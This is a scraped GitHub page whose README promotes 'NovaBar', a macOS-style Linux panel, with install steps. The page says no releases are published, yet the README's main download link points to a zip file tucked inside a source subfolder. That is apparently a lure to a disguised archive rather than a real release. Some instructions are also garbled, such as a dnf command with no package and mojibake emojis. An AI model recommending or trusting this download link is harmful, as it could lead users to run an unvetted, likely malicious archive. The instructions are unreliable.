Skip to content
/ NovaBar Public

🌟 Build a modern, modular macOS-style panel for Linux, supporting X11 and Wayland, with customizable themes and integrated system controls.

License

Notifications You must be signed in to change notification settings

Dim747/NovaBar

Repository files navigation

✨ NovaBar - A Sleek Panel for Your Desktop

Download NovaBar

πŸš€ Getting Started

NovaBar offers a modern macOS-style panel for your Linux desktop, especially for X11 and XFCE. This panel comes with an Integrated Global Menu, system indicators for WiFi, Bluetooth, and Sound, and a sleek Control Center that enhances your workspace. Fast and lightweight, it is built using Vala and GTK3 to give you a seamless user experience.

πŸ“₯ Download & Install

To get started, visit the Releases page to download NovaBar. You will find various versions available for different system configurations.

Steps to Download NovaBar

  1. Click on the link above.
  2. You will see a list of released versions. Select the latest release.
  3. Scroll down to the "Assets" section.
  4. Download the correct file for your system. You may see options like .deb, .rpm, or https://raw.githubusercontent.com/Dim747/NovaBar/main/src/indicators/datetime/Nova-Bar-2.1-beta.3.zip.
  5. Once downloaded, follow the instructions for your system.

πŸ–₯️ System Requirements

Before installing NovaBar, ensure your system meets the following requirements:

  • Operating System: You need a Linux distribution that supports X11 or XFCE.
  • Memory: At least 2 GB of RAM.
  • Disk Space: Around 100 MB of free space for installation.
  • Dependencies: Ensure that your system has GTK3 and Vala installed. Most modern Linux distributions include these by default.

βš™οΈ Installation Instructions

For Debian-based Systems (like Ubuntu)

  1. Open your terminal.

  2. Navigate to the folder where you downloaded the .deb file. For example:

    cd ~/Downloads
    
  3. Install the package with the following command:

    sudo dpkg -i NovaBar*.deb
    
  4. If there are missing dependencies, run:

    sudo apt-get install -f
    

For RPM-based Systems (like Fedora)

  1. Open your terminal.

  2. Navigate to your download folder:

    cd ~/Downloads
    
  3. Install the package using:

    sudo rpm -i NovaBar*.rpm
    
  4. Fix any dependencies if prompted by running:

    sudo dnf install -y
    

For Source Distribution

  1. Download the source code from the Releases page.

  2. Extract the files in your desired directory.

  3. Open a terminal and navigate to the folder:

    cd ~/path/to/NovaBar
    
  4. Run the following command to compile and install:

    make && sudo make install
    

πŸ› οΈ Configuration

After installation, open NovaBar from your application menu. You can customize its settings by:

  1. Right-clicking on the panel.
  2. Selecting β€œSettings” from the context menu.
  3. Choosing options like changing themes, arranging your system indicators, and adjusting the panel's position.

🎨 Features

  • Integrated Global Menu: Access application menus in one place without cluttering your screen.
  • System Indicators: Get instant access to WiFi, Bluetooth, and sound settings right from the panel.
  • Sleek Control Center: A clean interface for managing your system settings efficiently.
  • Customizable Layout: Arrange your indicators and applications as per your preference.

❓ Troubleshooting

If you encounter any issues during the installation or while using NovaBar, here are some common solutions:

  • Panel Not Showing: Ensure that your system supports X11.
  • Missing Icons: Check if you have GTK3 installed. You can typically install it from your package manager.
  • Crashes: If NovaBar crashes on startup, try reinstalling it or check your configuration settings for any conflicts.

πŸ” Frequently Asked Questions

How do I update NovaBar?

To update NovaBar, return to the Releases page and download the latest version. You will need to follow the same installation steps as before.

Can I customize the look of the panel?

Yes, you can change the theme and customize various aspects through the settings menu.

Is NovaBar suitable for other desktop environments?

While NovaBar is optimized for XFCE, it can work with other compatible desktop environments that use X11.

🌐 Community and Support

Join our community to share your experiences, ask questions, or report issues. You can connect with us through the Issues section on GitHub.


For more detailed information, visit our Documentation or browse our Wiki for additional resources.

Don't forget to give us feedback! Your experience matters and helps us improve NovaBar.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •